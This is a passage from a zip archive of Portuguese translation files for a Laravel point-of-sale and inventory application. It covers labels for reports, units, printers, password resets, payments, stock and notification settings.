'Valor do desconto', 'no_recent_transactions' => 'Nenhuma transação recente', 'final' => 'final', 'invoice_no' => 'n. fatura', 'customer_name' => 'Nome do cliente', 'payment_status' => 'Estado do pagamento', 'status' => 'Status', 'total_amount' => 'Valor total', 'total_paid' => 'Total pago', 'total_remaining' => 'Total restante', 'payment_info' => 'Informações de pagamento', 'drafts' => 'Rascunhos', 'all_drafts' => 'Todos os rascunhos', 'sell_details' => 'Detalhes de venda', 'payments' => 'Pagamentos', 'amount' => 'Quantidade', 'payment_mode' => 'Método de pagamento', 'payment_note' => 'Nota de pagamento', 'sell_note' => 'Nota de venda', 'staff_note' => 'Nota da equipe', 'draft_updated' => 'Rascunho atualizado com sucesso', 'pos_sale_updated' => 'Venda atualizada com sucesso', 'location' => 'Localização', 'add_payment_row' => 'Adicionar linha de pagamento', 'finalize_payment' => 'Concluir o pagamento', 'sale_date' => 'Data de venda', 'list_pos' => 'lista de POS', 'edit_sale' => 'Editar venda', 'shipping' => 'Envio', 'shipping_details' => 'Detalhes de envio', 'shipping_charges' => 'Custos de envio', ]; PK G �Z�3�c� � pt/report.phpnu �[��� <?php return [ 'reports' => 'Relatórios', 'purchase_sell_report' => 'Compre e venda', 'purchase_sell' => 'Relatório de compra e venda', 'purchase_sell_msg' => 'Detalhes de compra e venda para o período selecionado', 'total_purchase' => 'Compra total', 'purchase_inc_tax' => 'Compra com impostos incluídos', 'total_sell' => 'Venda total', 'sell_inc_tax' => 'Venda com impostos incluídos', 'purchase_due' => 'Compre em dívida', 'sell_due' => 'Expiração', 'overall' => 'Total (Venda-Compra)', 'sell_minus_purchase' => 'Venda - Comprar', 'difference_due' => 'Valor devido', 'customer' => 'Clientes', 'supplier' => 'Fornecedores', 'total_due' => 'vencido', 'contacts' => 'Relatório de fornecedor e cliente', 'contact' => 'Contato', 'stock_report' => 'relatório de estoque', 'products' => 'Produtos', 'current_stock' => 'Estoque atual', 'total_unit_sold' => 'Unidade total vendida', 'tax_report' => 'Relatório fiscal', 'tax_report_msg' => 'Detalhes do imposto para o período selecionado', 'input_tax' => 'Impostos suportados', 'output_tax' => 'Exit tax', 'tax_overall' => 'Total (Entrada - Saída)', 'input_tax_minus_output_tax' => 'imposto de entrada - imposto de saída', 'trending_products' => 'Produtos de tendência', 'apply_filters' => 'Aplicar filtros', 'filters' => 'Filtros', 'expense_report' => 'Relatório de despesas', 'total_expense' => 'Despesa total', 'others' => 'Outros', 'all' => 'Todos', 'top_trending_products' => 'Principais produtos de tendências', 'all_locations' => 'Todos os locais', 'stock_adjustment_report' => 'relatório de ajuste de ações', 'total_stock_adjustment' => 'Ajuste total de estoque', 'total_recovered' => 'Valor total recuperado', 'total_normal' => 'Total Normal', 'total_abnormal' => 'Total anormal', 'register_report' => 'Relatório de registro', 'open_time' => 'Horário de abertura', 'close_time' => 'Hora de fechamento', 'user' => 'Usuário', 'all_users' => 'Todos os usuários', 'sales_representative' => 'Relatório do Agente Comercial', 'sales_representative_expenses' => 'Todas as despesas relacionadas ao agente comercial', 'summary' => 'Resumo', 'date_range' => 'Intervalo de datas', 'stock_expiry_report' => 'relatório de vencimento de ações', 'stock_left' => 'Restante estoque', 'expired' => 'Expirado', 'view_stocks' => 'Ver estoque', 'expiring_in_1_week' => 'Expiração em uma semana', 'expiring_in_15_days' => 'Expiração em 15 dias', 'expiring_in_1_month' => 'Expiração em um mês', 'expiring_in_3_months' => 'Expiração em 3 meses', 'expiring_in_6_months' => 'Expiração em 6 meses', 'expiring_in_1_year' => 'Expiração em um ano', 'profit_loss' => 'Relatório de lucros / perdas', 'opening_stock' => 'Estoque de abertura', 'closing_stock' => 'Material de fechamento', 'total_expense' => 'Despesa total', 'net_profit' => 'Lucro líquido', 'total_stock_adjustment' => 'Ajuste total de estoque', 'total_stock_recovered' => 'Estoque total recuperado', ]; PK G �Zq2�m' ' pt/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'As senhas devem corresponder e conter pelo menos 6 caracteres', 'reset' => 'Sua senha foi redefinida!', 'sent' => 'Nós lhe enviamos o link para redefinir sua senha!', 'token' => 'O token de recuperação de senha é inválido.', 'user' => 'Não conseguimos encontrar nenhum usuário com esse email.', ]; PK G �Z�:K� pt/unit.phpnu �[��� <?php return [ 'units' => 'Uniddes', 'manage_your_units' => 'Gerenciar suas unidades', 'all_your_units' => 'Todas as suas unidades', 'name' => 'Nome', 'short_name' => 'Nome abreviado', 'allow_decimal' => 'Permitir decimal', 'added_success' => 'Unidade adicionada com sucesso', 'updated_success' => 'Unidade atualizada com sucesso', 'deleted_success' => 'Drive excluído com sucesso', 'add_unit' => 'Adicionar unidade', 'edit_unit' => 'Editar unidade', ]; PK G �Z��� � pt/printer.phpnu �[��� <?php return [ 'printers' => 'Impressoras', 'add_printer' => 'Adicionar impressora', 'name' => 'Nome da impressora', 'connection_type' => 'Tipo de conexão', 'capability_profile' => 'Perfil de capacidade', 'ip_address' => 'endereço IP', 'port' => 'Port', 'path' => 'Caminho', 'added_success' => 'Impressora adicionada com sucesso', 'manage_your_printers' => 'Gerenciar suas impressoras', 'all_your_printer' => 'Todas as impressoras configuradas', 'deleted_success' => 'Impressora apagada com sucesso', 'edit_printer_setting' => 'Editar configurações da impressora', 'receipt_printers' => 'Impressoras de recibos', 'character_per_line' => 'Caracteres por linha', 'printer_name' => 'Nome da impressora', 'updated_success' => 'Impressora atualizada com sucesso', 'edit_printer' => 'Editar impressora', ]; PK G �Zb���P �P pt/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Ativar a edição do preço do produto a partir da tela de compra', 'sales_commission_agent' => 'Agente Comercial', 'sales_commission_agents' => 'Agentes comerciais', 'disable' => 'Desativar', 'logged_in_user' => 'Usuário conectado', 'select_from_users_list' => 'Selecione na lista de usuários', 'select_from_commisssion_agents_list' => "Selecione na lista de agentes comerciais', / * modified", 'add_sales_commission_agent' => 'Adicionar agente comercial', 'commission_agent_added_success' => 'Agente comercial adicionado com sucesso', 'edit_sales_commission_agent' => 'Editar agente comercial', 'commission_agent_updated_success' => 'Agente comercial atualizado com sucesso', 'commission_agent_deleted_success' => 'Agente Comercial Excluído com Sucesso', 'contact_no' => 'No. de Contato', 'commission_agent' => 'Comissionista', 'cmmsn_percent' => 'Porcentagem da Comissão de Vendas (%)', 'sales_added' => 'Vendas adicionadas', 'sales_with_commission' => 'Vendas com comissão', // 'total_sale_with_commission' => 'Venda total com comissão', 'total_sale_commission' => 'Comissão total de vendas', 'sales_item_addition_method' => 'Método de adição de item de vendas', 'add_item_in_new_row' => 'Adicionar item em uma nova linha', 'increase_item_qty' => 'Aumenta a quantidade do item se já existir', 'stock_transfers' => 'Transferências de ações', 'all_stock_transfers' => 'Todas as transferências de ações', 'add_stock_transfer' => 'Adicionar transferência de estoque', 'list_stock_transfers' => 'Listar transferências de ações', 'location_from' => 'Do local', 'location_to' => 'Até o local', 'shipping_charges' => 'Custos de envio', 'stock_transfer_added_successfully' => 'Transferência de estoque adicionado com sucesso', 'stock_transfer_delete_success' => 'Transferência de estoque excluída com sucesso', 'stock_transfer_cannot_be_deleted' => 'Esta transferência de ações não pode ser eliminada, pois algumas das ações já estão vendidas', 'total_transfer_shipping_charges' => 'Total de despesas de envio de transferência', 'enable_inline_tax' => 'Ativar impostos on-line sobre compra e venda', 'save_n_add_opening_stock' => 'Salvar e adicionar estoque de abertura', 'add_opening_stock' => 'Adicionar material de abertura', 'opening_stock_added_successfully' => 'Abrir estoque adicionado com sucesso', 'update_n_edit_opening_stock' => 'Atualizar e editar o estoque de abertura', 'total_amount_exc_tax' => 'Montante total (imposto Exc.)', 'currency_symbol_placement' => 'Colocação de símbolos monetários', 'before_amount' => 'Antes do valor', 'after_amount' => 'Após o valor', 'barcode_label_error' => 'Id. SKU não suportada para o tipo de código de barras selecionado ', 'list_products' => 'Lista de produtos', 'list_expenses' => 'Lista de despesas', 'add_expiry' => 'Lista de despesas', 'add_manufacturing_auto_expiry' => 'Adicionar data de fabricação e período de validade', 'tooltip_enable_expiry' => 'Ativar expiração do produto. <br/> <br/> <b> Adicione a expiração do item </b>: Para adicionar diretamente apenas a expiração do item. <br/> <b> Adicione a data de fabricação e o período de validade </b>: para adicionar a data de fabricação e o período de validade e calcular a data de vencimento com base nisso.', 'quantity' => 'Quantidade', 'on_product_expiry' => 'Na expiração do produto', 'keep_selling' => 'Continue vendendo', 'stop_selling' => 'Pare de vender n dias antes', 'tooltip_on_product_expiry' => 'Especifique a ação a ser executada na expiração do produto. <br> <br> <b> Continuar a vender </b>: os produtos permanecerão à venda após o vencimento também. <br> <b> Parar de vender </b>: Pare de vender o item n dias antes de expiração. ', 'output_tax_minus_input_tax' => 'Imposto de saída - Imposto suportado', 'total_purchase_discount' => 'Desconto total de compra', 'total_sell_discount' => 'Desconto total de venda', 'updated_succesfully' => 'Atualizado com sucesso', 'default_unit' => 'unidade padrão', 'enable_brand' => 'Ativar marcas', 'enable_category' => 'Ativar categorias', 'enable_sub_category' => 'Ativar subcategorias', 'enable_price_tax' => 'Ativar preços e informações fiscais', 'enable_purchase_status' => 'Ativar status de compra', 'tooltip_enable_purchase_status' => 'Na desativação, todas as compras serão marcadas como <i> Artigo recebido </i>', 'recent_product_quantity' => 'Ir para a quantidade do produto', 'full_screen' => 'Pressione F11 para ir em tela cheia', 'Uncategorised' => 'Sem categoria', 'no_products_to_display' => 'Nenhum produto para exibir', 'item_out_of_stock' => 'Produto sem estoque', 'go_back' => 'Voltar', 'disable_pay_checkout' => 'Desativar pagamento e checkout', 'disable_draft' => 'Desativar Rascunho', 'disable_express_checkout' => 'Desativar Quick Pay', 'hide_product_suggestion' => 'Não mostrar sugestão do produto', 'hide_recent_trans' => 'Não mostrar transações recentes', 'pos_settings' => 'configuração POS', 'disable_discount' => 'Desativar desconto', 'disable_order_tax' => 'Desativar Imposto', 'customer_groups' => 'Grupos de clientes', 'customer_group' => 'Grupo de clientes', 'all_your_customer_groups' => 'Todos os grupos de clientes', 'add_customer_group' => 'Adicionar grupo de clientes', 'customer_group_name' => 'Nome do grupo de clientes', 'calculation_percentage' => 'Porcentagem de cálculo (%)', 'tooltip_calculation_percentage' => '<b>Preço de venda = preço de venda definido para o cálculo do produto + porcentagem </b> <br/> pode especificar a percentagem positiva para aumentar e diminuir o preço de venda', 'success' => 'Sucesso', 'edit_customer_group' => 'Editar grupo de clientes', 'customer_groups_report' => 'Relatório de grupos de clientes', 'none' => 'nenhum', 'enable_imei_or_sr_no' => 'Ativar IMEI ou número de série', 'tooltip_sr_no' => 'Ativar ou desativar a adição de IMEI ou número de série do produto, adicionando produtos na tela de POS', 'description' => 'Descrição', 'sell_line_description_help' => 'Adicionar o produto IMEI, número de série ou outras informações aqui.', 'unit_cost_before_discount' => 'Custo unitário (antes de desconto)', 'discount_percent' => 'Porcentagem de desconto %', 'profit_margin' => 'Profit Margin %', 'discount_percent' => 'Porcentagen de Desconto', 'application_tour' => 'caminho da aplicação', 'profile' => 'Perfil', 'sign_out' => 'Desconectar', 'my_profile' => 'Meu perfil', 'Admin' => 'Administração', 'Cashier' => 'Caixa', 'both_supplier_customer' => 'Ambos (fornecedor e cliente)', 'months' => 'Meses', 'days' => 'Dias', 'suppliers' => 'Fornecedores', 'customers' => 'Clientes', 'enter_product_name_to_print_labels' => 'Digite o nome do produto para imprimir as etiquetas', 'manage_product_variations' => 'Gerenciar variações de produto', 'all_variations' => 'Todas as variações', 'values' => 'Valores', 'add_variation' => 'Adicionar variação', 'variation_name' => 'Nome da variação', 'add_variation_values' => 'Adicionar valores de mudança', 'edit_variation' => 'Editar variação', 'received' => 'Recebido', 'pending' => 'pendente', 'ordered' => 'Solicitado', 'search_product_placeholder' => 'Digite o nome do produto / SKU / código de barras', 'fixed' => 'fixo', 'percentage' => 'Porcentagem', 'select_location' => 'Selecionar localização', 'add_description' => 'Adicionar descrição', 'cash' => 'Dinheiro', 'card' => 'Cartão', 'cheque' => 'Check', 'bank_transfer' => 'Transferência bancária', 'other' => 'Outro', 'payment' => 'Pagamento', 'total_items' => 'Total de artigos', 'total_paying' => 'Pagamento total', 'balance' => 'Balance', 'payment_method' => 'Método de pagamento', 'card_no' => 'Número do cartão', 'card_holder_name' => 'Nome do titular do cartão', 'card_transaction_no' => 'Número da transação do cartão', 'card_type' => 'Tipo de cartão', 'month' => 'Mês', 'year' => 'ano', 'security_code' => 'código de segurança', 'cheque_no' => 'Verificar número', 'bank_account_number' => 'Número da conta bancária', 'paid' => 'Pago', 'due' => 'vencido', 'partial' => 'Parcial', 'no_of_products' => 'Número de produtos', 'select_a_date_range' => 'Selecione um intervalo de datas', 'shortcut_help' => "O atalho deve ser o nome separados por teclas '+'", 'example' => 'Exemplo', 'available_key_names_are' => 'Os nomes das teclas estão disponíveis', 'add_new_product' => 'Adicionar novo produto', 'invoice_logo_help' => 'Max :max_size, única JPEG, GIF ou PNG', 'invoice_logo_help2' => 'Carregar apenas para substituir o logotipo velho', 'printer_name_help' => 'Nome abreviado descritivo para reconhecer a impressora', 'char_per_line_help' => 'Número de caracteres que podem ser impressos por linha', 'ip_address_help' => 'endereço IP para conectar-se à impressora', 'port_help' => 'A maioria das impressoras funciona na porta 9100', 'combination_of_taxes' => 'Combinação de múltiplos impostos', 'product_purchase_report' => 'Relatório de compra do produto', 'unit_perchase_price' => 'Preço de compra inicial', 'search_product' => 'Pesquisar produto', 'product_sell_report' => 'Relatório de venda do produto', 'unit_sale_price' => 'preço de venda unitário', 'contact_id' => 'ID do contato', 'category_code_help' => 'O código da categoria é o mesmo que o <b> código HSN </b>', 'sub_heading_line' => 'Linha do subtítulo :_number_', 'date_label' => 'rótulo de data', 'client_id_label' => 'Etiqueta de identificação do cliente', 'product_label' => 'Etiqueta do produto', 'qty_label' => 'etiqueta de quantidade', 'unit_price_label' => 'etiqueta de preço unitário', 'subtotal_label' => 'rótulo de subtotal', 'product_details_to_be_shown' => 'Detalhes do produto a serem exibidos', 'show_brand' => 'Mostrar marca', 'show_sku' => 'Mostrar SKU', 'show_cat_code' => 'Mostrar código de categoria', 'show_client_id' => 'Mostrar ID do cliente', 'show_time_with_date' => 'Mostrar hora com data', 'show_sale_description' => 'Mostrar descrição da venda', 'product_imei_or_sn' => '(Produto IMEI ou Número de Série)', 'purchase_already_exist' => 'O produto não pode ser excluído porque há compras relacionadas a este produto', 'opening_stock_sold' => 'O produto não pode ser excluído porque algum estoque foi vendido', 'stock_adjusted' => 'O produto não pode ser excluído porque algumas ações são ajustadas', 'product_delete_success' => 'Produto excluído com sucesso', 'manage_products' => 'Gerenciar seus produtos', 'all_products' => 'Todos os produtos', 'login' => 'Login', 'register' => 'Registration', 'username' => 'Username', 'password' => 'Password', 'remember_me' => 'Lembre-se de mim', 'forgot_your_password' => 'Esqueceu sua senha?', 'reset_password' => 'Redefinir a senha', 'email_address' => 'Endereço de email', 'send_password_reset_link' => 'Enviar link de redefinição de senha', 'instructions' => 'Instruções', 'instruction_line1' => 'Siga as instruções cuidadosamente antes de importar o arquivo.', 'instruction_line2' => 'As colunas do arquivo CSV devem estar na seguinte ordem', 'col_no' => 'Número da coluna', 'col_name' => 'Nome da coluna', 'instruction' => 'Instrução', 'required' => 'Obrigatório', 'optional' => 'Opcional', 'name_ins' => 'Nome do produto', 'brand_ins' => 'nome da marca', 'brand_ins2' => 'Se não for encontrado, uma nova marca com o nome dado será criada', 'unit_ins' => 'nome da unidade', 'category_ins' => 'Nome da categoria', 'category_ins2' => 'Se não for encontrado, uma nova categoria será criada com o nome dado', 'sub_category_ins' => 'Nome da subcategoria', 'sub_category_ins2' => 'Se não encontrado, uma nova subcategoria será criada com o nome dado na categoria pai', 'sku_ins' => 'Product SKU. Se estiver em branco, um SKU será gerado automaticamente', 'barcode_type_ins' => 'Tipo de código de barras para o produto', 'barcode_type_ins2' => 'Atualmente compatível', 'default' => 'Defeito', 'manage_stock_ins' => 'Ativar ou desativar o gerenciamento de estoque', 'alert_qty_ins' => 'Obrigatório se o gerenciamento de estoque for 1', 'expires_in_ins' => 'Período de validade do produto (somente em números)', 'expire_period_unit' => 'Unidade do período de expiração', 'available_options' => 'Opções disponíveis', 'expire_period_unit_ins' => 'Unidade para o período de expiração', 'applicable_tax_ins' => 'Nome da taxa de imposto', 'variation_name_ins' => 'Obrigatório se o tipo de produto for variável', 'variation_name_ins2' => 'Nome da variação (Ex: Tamanho, Cor, etc.)', 'variation_values_ins' => 'Obrigatório se o tipo de produto for variável', 'variation_values_ins2' => "Os valores para a variação foram separados por '|' '<br> (Ex: Vermelho | Azul | Verde)", 'purchase_price_inc_tax' => 'Preço de compra (incluindo impostos)', 'purchase_price_inc_tax_ins1' => 'Obrigatório se o preço de compra não for concedido sem incluir o imposto', 'purchase_price_inc_tax_ins2' => "Preço de compra (incluindo impostos) (somente em números) <br> <br> Para produtos variáveis '|' valores separados com a mesma ordem que Valores de variação <br> (Ex: 84 | 85 | 88)", 'purchase_price_exc_tax' => 'Preço de compra (sem impostos)', 'purchase_price_exc_tax_ins1' => 'Obrigatório se o preço de compra não estiver incluído nos impostos incluídos', 'purchase_price_exc_tax_ins2' => "Preço de compra (excluindo impostos) (somente em números) <br> <br> Para produtos variáveis '|' valores separados com a mesma ordem que Valores de variação <br> (Ex: 84 | 85 | 88)", 'profit_margin_ins' => 'Margem de lucro (somente em números)', 'profit_margin_ins1' => 'Se a margem de lucro em branco padrão for usada para os negócios da empresa', 'selling_price' => 'preço de venda', 'selling_price_ins' => 'Preço de venda (somente em números)', 'selling_price_ins1' => 'Se você calcular o preço de venda em branco com o preço de compra determinado pelo imposto aplicável', 'opening_stock' => 'Abrindo estoque', 'opening_stock_ins' => 'Estoque inicial (somente em números)', 'only_applicable_to_single_product' => 'Aplicável apenas a um único produto', 'purchase_delete_success' => 'Compra excluída com sucesso', 'location_ins' => 'Se a localização da primeira empresa em branco for usada', 'location_ins1' => 'Nome da localização da empresa', 'expiry_date' => 'data de expiração', 'expiry_date_ins' => 'Data de expiração do estoque <br> <b> Formato: mm-dd-aaaa; Ex: 11-25-2018 </b> ', 'enable_lot_number' => 'Ativar número do lote', 'tooltip_enable_lot_number' => 'Isso permitirá que você insira o número do lote para cada linha de compra na tela de compra.', 'lot_number' => 'Número do lote', 'enable_racks' => 'Ativar racks', 'tooltip_enable_racks' => 'Habilite isso para adicionar detalhes do rack de um produto para diferentes locais comerciais ao adicionar produtos', 'rack_details' => 'Detalhes do rack', 'tooltip_rack_details' => 'Digite os detalhes de onde o produto está armazenado na loja, para diferentes locais comerciais.', 'updated_success' => 'Atualizado com sucesso', 'added_success' => 'Adicionado com sucesso', 'deleted_success' => 'deletado com sucesso', 'enable_disable_modules' => 'Ativar / desativar módulos', 'opening_stock_help_text' => "<br> <br> Para produtos variáveis, separe as quantidades em estoque com '|' <br> (Ex: 100 | 150 | 200) ", 'applicable_tax_help' => '<br> <br/> Se o preço de compra (sem impostos) não for igual a <br/> Preço de compra (incluindo impostos) <br/> então você deve fornecer o nome da taxa de impostos. ', 'sale_delete_success' => 'Venda excluída com sucesso', 'click_to_edit' => 'Clique para editar', 'click_to_delete' => 'Clique para deletar', 'quotation_heading' => 'cabeçalho da oferta', 'quotation' => 'Cotação', 'quotation_no_prefix' => 'Compromisso Nº tag', 'tooltip_quotation_heading' => 'O título de cotação ou estimativa é usado ao fornecer cotações aos clientes.', 'quotation_added' => 'Oferta adicionada com sucesso', 'quotation_updated' => 'Compromisso atualizado com sucesso', 'product_sold_details_register' => 'Detalhes dos produtos vendidos', 'grand_total' => 'Total ótimo', 'change_return' => 'Alterar o retorno', 'date_format' => 'Formato de data', 'time_format' => 'Formato da hora', '12_hour' => '12 horas ', '24_hour' => '24 horas ', 'list_quotations' => 'Lista de compromissos', 'list_drafts' => 'Lista de rascunhos', 'you_cannot_delete_this_contact' => 'O contato não pode ser excluído: as transações já existem para o contato', 'enable_row' => 'Ativar linha', 'enable_position' => 'Ativar posição', 'rack' => 'Prateleira', 'row' => 'Row', 'position' => 'Position', 'weight' => 'Peso', 'rack_help_text' => "Detalhes do bastidor separados por '|' para diferentes locais comerciais em série. <br/> (Ex: R1 | R5 | R12) ", 'row_help_text' => "Detalhes da linha separados por '|' para diferentes locais comerciais em série. <br/> (Ex: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "Detalhes da posição separados por '|' para diferentes localizações comerciais em série. <br/> (Ex: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'Importar estoque inicial', 'tooltip_import_opening_stock' => 'Este recurso é usado para importar estoques iniciais e agrega produtos. Se os produtos não são adicionados ao sistema, então é aconselhável a utilização de produtos importados para adicionar detalhes do produto com a abertura de estoque.', 'design' => 'Design', 'express_checkout_cash' => 'Efetivo', 'express_checkout_card' => 'Cartão', 'checkout_multi_pay' => 'Pagamento múltiplo', 'tooltip_checkout_multi_pay' => 'Pagar usando vários métodos de pagamento', 'tooltip_express_checkout_card' => 'pagamento por cartão expresso', 'card_transaction_details' => 'Detalhes da transação do cartão', 'client_tax_label' => 'Etiqueta do número de imposto do cliente', 'cat_code_label' => 'categoria ou rótulo de código HSN', 'list_sell_return' => 'lista de devolução', 'sell_return' => 'Venda o retorno', 'layout_credit_note' => 'Nota de crédito / detalhes do retorno de vendas', 'cn_heading' => 'Título', 'cn_no_label' => 'Número de referência', 'cn_amount_label' => 'Valor total', 'custom_field' => 'campo personalizado :number', 'website' => 'Website', 'total_credit_amt' => 'Valor total do crédito', 'unit_sell_price' => 'preço unitário de venda', 'prefixes' => 'Prefixos', 'purchase_order' => 'Pedido de compra', 'stock_transfer' => 'Transferência de ações', 'purchase_payment' => 'Pagamento de compra', 'sell_payment' => 'Venda o pagamento', 'location_id' => 'ID do local', 'add_edit_opening_stock' => 'Adicionar ou editar estoque aberto', 'expiry_date_will_be_changed_in_pl' => 'A data de expiração da linha de compra será alterada', 'remove_from_stock' => 'Remover do estoque', 'stock_removed_successfully' => 'Stock removido com sucesso', 'product_image' => 'Imagem do produto', 'aspect_ratio_should_be_1_1' => 'O formato deve ser 1:1', 'previous_image_will_be_replaced' => 'A imagem previamente carregada será substituída', 'all_category' => 'todas as categorias', 'all_brands' => 'Todas as marcas', 'backup' => 'Suporte', 'download_complete_backup' => 'Fazer o backup completo', 'backup_doesnt_exist' => 'O backup não existe', 'lot_report' => 'Relatório em lote', 'purchase_payment_report' => 'Relatório de pagamento de compra', 'paid_on' => 'Pago em', 'purchase' => 'Compra', 'cheque_no' => 'Check No.', 'card_transaction_no' => 'Número de transação do cartão', 'bank_account_no' => 'Número da conta bancária', 'sell_payment_report' => 'vender relatório de pagamento', 'restaurant' => 'Restaurante', 'user_type' => 'tipo de usuário', 'business_inactive' => 'Desculpe, sua empresa está inativa !!', 'product_custom_field1' => 'campo personalizado1', 'product_custom_field2' => 'campo personalizado2', 'product_custom_field3' => 'campo personalizado3', 'product_custom_field4' => 'campo personalizado4', 'image' => 'Imagem', 'image_help_text' => 'Nome da imagem com extensão <br/> (O nome da imagem deve ser enviado para o servidor :path)', 'tooltip_kitchen' => 'Esta é a tela da cozinha. Aqui você pode ver os detalhes do pedido e os pedidos podem ser marcados como cozidos. ', 'tooltip_serviceorder' => 'Esta é a tela da equipe de serviço. A equipe de serviços pode usar essa tela para ver todos os pedidos e marcar o pedido como entregue. ', 'sales_person_label' => 'etiqueta da pessoa de vendas', 'show_sales_person' => 'etiqueta da pessoa de vendas', 'decimal_value_not_allowed' => 'Valor decimal não permitido', 'theme_color' => 'Cor do tema', 'quantity_error_msg_in_lot' => 'Apenas :qty :unit disponível no lote selecionado', 'show_product_expiry' => 'Mostrar expiração do produto', 'show_lot_number' => 'Mostrar número do lote', 'expiry' => 'Expiração', 'lot' => 'muito', 'lot_n_expiry' => 'Lote e expiração', 'pos_edit_product_price_help' => 'Editar preço unitário e imposto', 'name' => 'Nome', 'payment_type' => 'tipo de pagamento', 'manage_payment_account' => 'Gerenciar sua conta de pagamento', 'all_payments' => 'Todos os pagamentos', 'payment_note' => 'Nota de pagamento', 'payment_account_deleted_success' => 'Conta de pagamento excluída com sucesso', 'payment_account_updated_success' => 'Conta de pagamento bem sucedida atualizada', 'payment_gateway' => 'gateway de pagamento on-line', 'payment_account_success' => 'Conta de pagamento adicionada com sucesso', 'payment_account' => 'Conta de pagamento', 'tooltip_sell_product_column' => 'Clique no <i> nome do produto </i> para editar preço, desconto e impostos. <br/> Clique no ícone <i> Comment </i> para inserir o número de série / IMEI ou nota adicional. <br/> <br/> Clique em <i> Modificador de ícone </i> (se ativado) para modificadores ', 'credit_limit' => 'limite de crédito', 'credit_limit_help' => 'Manter em branco sem limite', 'cutomer_credit_limit_exeeded' => 'Limite de crédito do cliente excedido <br> :credit_limit', 'custom_payment_1' => 'Pagamento personalizado 1', 'custom_payment_2' => 'Pagamento personalizado 2', 'custom_payment_3' => 'Pagamento personalizado 3', 'transaction_no' => 'Transaction No.', 'file' => 'Arquivo', 'size' => 'Tamanho', 'date' => 'Date', 'age' => 'Idade', 'create_new_backup' => 'Criar novo backup', 'all_sales' => 'Todas as vendas', 'opening_balance' => 'saldo inicial', 'opening_balance_due' => 'saldo inicial pendente', 'import_contacts' => 'Importar contatos', 'contact_type_ins' => '<strong> Opções disponíveis: cliente, provedor e ambos </strong>', 'contact_id_ins' => 'Deixe em branco para gerar automaticamente o ID de contato', 'required_if_supplier' => 'Obrigatório se o tipo de contato for um provedor ou ambos', 'pay_term_period_ins' => 'Opções disponíveis: dias e meses', 'your_username_will_be' => 'Seu nome de usuário será', 'currency_exchange_rate' => 'Taxa de câmbio da moeda', 'select_all' => 'Selecionar tudo', 'deselect_all' => 'Desmarcar tudo', 'duplicate_product' => 'produto duplicado', 'delete_selected' => 'Excluir selecionado', 'no_row_selected' => 'Nenhuma linha selecionada', 'duplicate_sell' => 'Venda duplicada', 'duplicate_sell_created_successfully' => 'Venda duplicada criada com sucesso', 'modules' => 'Módulos', 'theme' => 'Theme', 'account' => 'Conta', 'expense_payment' => 'Pagamento de despesas', 'expense' => 'Despesas', 'disabled_in_demo' => 'Recurso desativado na demonstração!', 'selling_price_group' => 'Grupo de preços de venda', 'all_selling_price_group' => 'Total do grupo de preços de venda', 'add_selling_price_group' => 'Adicionar grupo de preços de venda', 'edit_selling_price_group' => 'Editar grupo de preços de venda', 'access_selling_price_groups' => 'Acesso a grupos de preços de venda', 'save_n_add_selling_price_group_prices' => 'Salvar e adicionar preços de grupo para preços de venda', 'add_selling_price_group_prices' => 'Adicionar ou editar preços do grupo', 'default_selling_price_inc_tax' => 'Preço de venda padrão (Taxes Inc.)', 'variation' => 'Variação', 'price_group' => 'Preço do grupo', 'group_price' => 'preço do grupo', 'default_selling_price' => 'Preço de venda padrão', 'price_group_help_text' => 'Grupo de preços de venda nos quais você deseja vender', 'group_prices' => 'Group prices', 'view_group_prices' => 'Ver preços do grupo', 'save_n_add_another' => 'Salvar e adicionar outro', 'update_n_add_another' => 'Atualizar e adicionar outro', 'subtotal_editable' => 'Subtotal editável', 'subtotal_editable_help_text' => 'Marque isto para que o campo do subtotal seja editável para cada produto na tela do PDV', 'notification_templates' => 'Modelos de notificação', 'new_sale' => 'Nova venda', 'payment_reminder' => 'Remetente de pagamento', 'payment_received' => 'Pagamento recebido', 'new_booking' => 'Nova reserva', 'new_order' => 'Novo pedido', 'payment_paid' => 'Pagamento pago', 'items_received' => 'Itens recebidos', 'items_pending' => 'Itens pendentes', 'customer_notifications' => 'Notificações do cliente', 'supplier_notifications' => 'Notificações para o fornecedor', 'email_subject' => 'Assunto do email', 'email_body' => 'Corpo do email', 'sms_body' => 'corpo do SMS', 'available_tags' => 'Tags disponíveis', 'send_notification' => 'Enviar notificação', 'new_sale_notification' => 'Nova notificação de venda', 'send_email_only' => 'Enviar apenas email', 'send_sms_only' => 'Enviar apenas SMS', 'send_both_email_n_sms' => 'Enviar email e SMS', 'to' => 'A', 'mobile_number' => 'Número de telemóvel', 'send' => 'Enviar', 'notification_sent_successfully' => 'Notificação enviada com sucesso', 'payment_received_notification' => 'Enviar notificação de pagamento recebida', 'send_payment_reminder' => 'Enviar remetente de pagamento', 'new_order_notification' => 'Notificação de novo pedido', 'item_received_notification' => 'Itens recebidos de notificação', 'item_pending_notification' => 'Elementos pendentes de notificação', 'payment_paid_notification' => 'Notificação de pagamento pago', 'mail_host' => 'Host', 'mail_port' => 'Port', 'mail_username' => 'Username', 'mail_password' => 'Senha', 'mail_encryption' => 'Criptografia', 'mail_from_address' => 'Endereço', 'mail_from_name' => 'Nome', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Configurações de e-mail', 'sms_settings' => 'Configurações de SMS', 'send_to_param_name' => 'Enviar para o nome do parâmetro', 'msg_param_name' => 'Nome do parâmetro da mensagem', 'sms_settings_param_key' => 'Parâmetro chave :number', 'sms_settings_param_val' => 'Parâmetro valor :number', 'sending' => 'Envio', 'request_method' => 'Método de solicitação', 'purchase_return' => 'Reembolso de compra', 'return_quantity' => 'Valor devolvido', 'return_subtotal' => 'Retornar sub-total', 'quantity_left' => 'Valor restante', 'return_total' => 'Total retornado', 'total_return_tax' => 'imposto de retorno total', 'purchase_return_added_success' => 'O reembolso da compra foi adicionado corretamente', 'list_purchase_return' => 'Lista de retornos de compra', 'all_purchase_returns' => 'Todos os retornos de compra', 'parent_purchase' => 'ojos de promover', 'purchase_return_details' => 'Detalhes do retorno de compra', 'return_date' => 'data de retorno', 'parent_sale' => 'Venda de pais', 'sell_quantity' => 'quantidade de vendas', 'total_return_discount' => 'Desconto total de retorno', 